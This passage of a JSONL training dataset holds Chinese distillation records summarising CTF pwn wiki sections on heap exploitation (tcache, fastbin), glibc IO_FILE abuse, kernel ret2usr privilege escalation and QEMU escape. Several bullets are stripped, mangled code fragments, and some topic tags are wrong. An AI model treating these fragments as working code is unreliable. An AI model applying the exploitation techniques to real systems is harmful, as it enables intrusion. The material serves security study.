tcache 块了，所以需要将防止 top 合并的 tcache 块释放掉。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 11 行，首行 `for i in range(7):`\n- python: 2 行，首行 `# delete first to provide valid fd & bk`\n- plain: 15 行，首行 `+-----+`\n- python: 1 行，首行 `new(0xf8, '0 - overflow')`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1432, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "按照解析中的步骤进行 NULL 字节溢出触发", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x05 The pwn of CTF", "Challenge 1 : LCTF2018 PWN easy_heap", "利用步骤", "按照解析中的步骤进行 NULL 字节溢出触发"], "original_id": "docs-f6ebaaf698bd2889eff4", "original_line": 1056, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "242c23fa60744a9cd39c9c7d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-374ffb29ad22b2025d6b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> finish > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 修改了 how2heap 的 houseoforange 代码，可以自己动手调试一下。\n- // unsorted bin attack p1 = malloc(0x400-16);\n- // we can found \"/bin/sh\" in libc, here i create it in stack top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;\n- int main() { char p1, p2;\n- ``c #include  #include  #include  int winner ( char ptr);\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n- code:c\n\n代码/命令片段线索：\n- c: 37 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 948, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "_IO_str_jumps -> finish", "示例"], "original_id": "docs-f844eed7082a1e2c6b4f", "original_line": 59, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "a2859e23724b086517ae5afb", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file", "code:c"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3863814d51fe64a2e7d4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「define TCACHE_FILL_COUNT 7」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“define TCACHE_FILL_COUNT 7”展开。\n- } ` 在 tcache_get 中，仅仅检查了 tc_idx ，此外，我们可以将 tcache 当作一个类似于 fastbin 的单独链表，只是它的check，并没有 fastbin 那么复杂，仅仅检查 tcache->entries[tc_idx] = e->next;\n- endif `` 再复习一遍 tcache_get() 的源码 `C static __always_inline void tcache_get (size_t tc_idx) { tcache_entry e = tcache->entries[tc_idx];\n- assert (tc_idx < TCACHE_MAX_BINS);\n- assert (tcache->entries[tc_idx] > 0);\n- (tcache->counts[tc_idx]);\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `再复习一遍 `tcache_get()` 的源码`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 455, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "define TCACHE_FILL_COUNT 7", "heading_path": ["define TCACHE_FILL_COUNT 7"], "original_id": "docs-23ca166e74d7a42994b0", "original_line": 1039, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "8256c8a56ded184a3b5bfbe5", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3866f13705d20663a0d4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「define INTERNAL_SIZE_T size_t」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“define INTERNAL_SIZE_T size_t”展开。\n- 堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk` 块。\n- 该字段的低三个比特位对 chunk 的大小没有影响，它们从高到低分别表示 - NON_MAIN_ARENA，记录当前 chunk 是否不属于主线程，1表示不属于，0表示属于。\n- 一般来说，堆中第一个被分配的内存块的 size 字段的P位都会被设置为1，以便于防止访问前面的非法内存。\n- It must be a power of two at least 2 SIZE_SZ, even on machines for which smaller alignments would suffice.\n- 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 18 行，首行 `> 一般来说， `size_t` 被定义为 `unsigned long` ，其在 64 位中是 64 位无符号整数，32 位中是 32 位无符号整数。`\n- plain: 4 行，首行 `>`\n- plain: 1 行，首行 `被释放的 `chunk` 被记录在链表中（可能是循环双向链表，也可能是单向链表）。具体结构如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4259, "chunk_count": 2, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "define INTERNAL_SIZE_T size_t", "heading_path": ["define INTERNAL_SIZE_T size_t"], "original_id": "docs-874977d21a3c428b966d", "original_line": 950, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "bee513475885b3c8044f185d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-387a6f556ba5bdd05025", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md` 中的章节「DO NOT DELETE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md`\n标题：利用 QEMU Monitor 读取 flag\n章节：DO NOT DELETE\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DO NOT DELETE”展开。\n- /bin/sh ./qemu-system-x86_64 \\ -L pc-bios/ \\ -m 128M \\ -kernel vmlinuz \\ -initrd rootfs.img \\ -smp 1 \\ -append \"root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet\" \\ -device d3dev \\ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\ -nograph...\n- /etc/init.d/xinetd start;\n- $ cat ctf.xinetd | grep -i server server = /usr/sbin/chroot server_args = --userspec=1000:1000 /home/ctf ./launch.sh `` 查看 launch.sh ，不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 d3dev ，因此应当是一道 QEMU 逃逸的题目： `shell $ find . -name launch.sh ./bin/launch.sh $ ls bin launc...\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n\n代码/命令片段线索：\n- plain: 1 行，首行 `查看 `launch.sh` ，不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 `d3dev` ，因此应当是一道 QEMU 逃逸的题目：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 640, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "DO NOT DELETE", "heading_path": ["DO NOT DELETE"], "original_id": "docs-73befd2ca4968e9c4269", "original_line": 1443, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md", "source_root": "docs", "source_sha256": "3b52605262148a43a8a925d995b98f2489ac7bc4a3d4bebb9afba26d9348610a", "split": "train", "split_group_key": "1b08b6ac43c9bf30483ca7fb", "subcategory": "pwn/virtualization/qemu", "terms": ["漏洞利用", "pwn", "virtualization", "qemu", "exploitation"], "title": "利用 QEMU Monitor 读取 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/tricks/qemu-monitor.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-38f3d84148778e0212ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- fastbin attack 是一类漏洞的利用方法，是指所有基于 fastbin 机制的漏洞利用方法。\n- 这类利用的前提是： 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 漏洞发生于 fastbin 类型的 chunk 中 如果细分的话，可以做如下的分类： - Fastbin Double Free - House of Spirit - Alloc to Stack - Arbitrary Alloc 其中，前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk，然后再次申请 chunk 进行攻击，后两种侧重于故意修改 fd 指针，直接利用 malloc...\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 345, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["Fastbin Attack", "介绍"], "original_id": "docs-61b9f3df9dcc3615a573", "original_line": 914, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "114ab69ffa314de9b26b19fc", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-397cf6b04b07c202b3c9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md` 中的章节「例题：2018 强网杯 - core」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md`\n标题：ret2usr（已过时）\n章节：ret2usr（已过时） > 例题：2018 强网杯 - core\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：2018 强网杯 - core”展开。\n- / never arrive here... */ } ` 这里我们可以注意到，与前面常规 kernel rop 做法不同的主要是 rop 链的构造： - 常规的 kernel rop 通过在内核空间构造复杂的 ROP 链条控制内核执行流完成提权，之后继续通过 ROP chain 调用内核空间中已有的 swapgs;\n- iretq 指令返回到用户态，执行用户空间的 system(\"/bin/sh\") 获取 shell， 这种方式需要手工构造复杂 ROP chain ，并非常依赖于内核中可用 ROP gadget 的存在性 。\n- iretq 返回用户态的过程，在这种情况下 我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条 。\n- } void get_root_shell(void) { if(getuid()) { log_error(\"[x] Failed to get the root!\n- void ret2usr_attack(void) { prepare_kernel_cred_kfunc = (void()(void)) prepare_kernel_cred;\n\n关键术语：\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 153 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4534, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例题：2018 强网杯 - core", "heading_path": ["ret2usr（已过时）", "例题：2018 强网杯 - core"], "original_id": "docs-a12f838cb05ed738b23e", "original_line": 819, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2usr.md", "source_root": "docs", "source_sha256": "2da74210bd8ed207f6580f79f70f5c54efdb303ae5946ae677e3c8ff9bfa8523", "split": "train", "split_group_key": "f9d3dbdd6f7b554c27e9ccf4", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "ret2usr（已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2usr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-39b4679c6fc401dc4496", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「真正取出 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk > 真正取出 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“真正取出 chunk”展开。\n- if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size);\n- = &main_arena) set_non_main_arena(victim);\n- } / Split / // 如果够，尽管分割 else { // 计算剩余的chunk的偏移 remainder = chunk_at_offset(victim, nb);\n- / advertise as last remainder / // 如果在small bin范围内，就将其标记为remainder if (in_smallbin_range(nb)) av->last_remainder = remainder;\n- in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 57 行，首行 `else {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1591, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "真正取出 chunk", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "寻找较大 chunk", "真正取出 chunk"], "original_id": "docs-3aac1b57a4ccdc85d312", "original_line": 1155, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "2a59a05bcbf981ca4bb46a63", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3abd62414aef1cbe7f75", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「下一块是 top chunk-合并到 top chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 下一块是 top chunk-合并到 top chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下一块是 top chunk-合并到 top chunk”展开。\n- ``c++ / If the chunk borders the current high end of memory, consolidate into top / // 如果要释放的chunk的下一个chunk是top chunk，那就合并到 top chunk else { size += nextsize;\n- set_head(p, size | PREV_INUSE);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 11 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 243, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "下一块是 top chunk-合并到 top chunk", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk", "下一块是 top chunk-合并到 top chunk"], "original_id": "docs-d3156340d42d9c5f6bb2", "original_line": 59, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "51bdc107497f901ee3989119", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3ada952a1859b77ecda9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Step.III - 构造二级自写管道，实现任意内存读写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.III - 构造二级自写管道，实现任意内存读写\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.III - 构造二级自写管道，实现任意内存读写”展开。\n- 在第一次 UAF 时我们获取到了 page 结构体的地址，而 page 结构体的大小固定为 0x40，且与物理内存页一一对应，试想若是我们可以不断地修改一个 pipe 的 page 指针，则我们便能完成对整个内存空间的任意读写，因此接下来我们要完成这样的一个利用系统的构造。\n- 有了 page-level UAF，我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1184, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Step.III - 构造二级自写管道，实现任意内存读写", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.III - 构造二级自写管道，实现任意内存读写"], "original_id": "docs-9786186abdba25dfc541", "original_line": 746, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "a2d905978e0583e2f00d9ae9", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3b01d2646c30672c2c1f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「unsorted bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`\n标题：通过堆进行信息泄漏\n章节：通过堆进行信息泄漏 > unsorted bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“unsorted bin”展开。\n- 一旦获取到某个堆块的地址就可以通过malloc的size进行计算从而获得堆基地址。\n- 一旦获取到main_arena的地址，因为main_arena存在于libc.so中就可以计算偏移得出libc.so的基地址。\n- 因此，通过unsorted bin可以获得：1.libc.so的基地址 2.heap基地址\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x00000000000000d1`\n- plain: 4 行，首行 `0x6020f0: 0x0000000000000000 0x00000000000000d1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 717, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "unsorted bin", "heading_path": ["通过堆进行信息泄漏", "unsorted bin"], "original_id": "docs-d7bf2b3779d0c184a2cb", "original_line": 1007, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "source_root": "docs", "source_sha256": "c7422be7213815830cc0d86e4be4369c4aed68443f0d60b3e86923927586bc37", "split": "train", "split_group_key": "84fc29f690e525058b78b0e8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "通过堆进行信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "split": "train", "type": "ctf_lora_sft"}
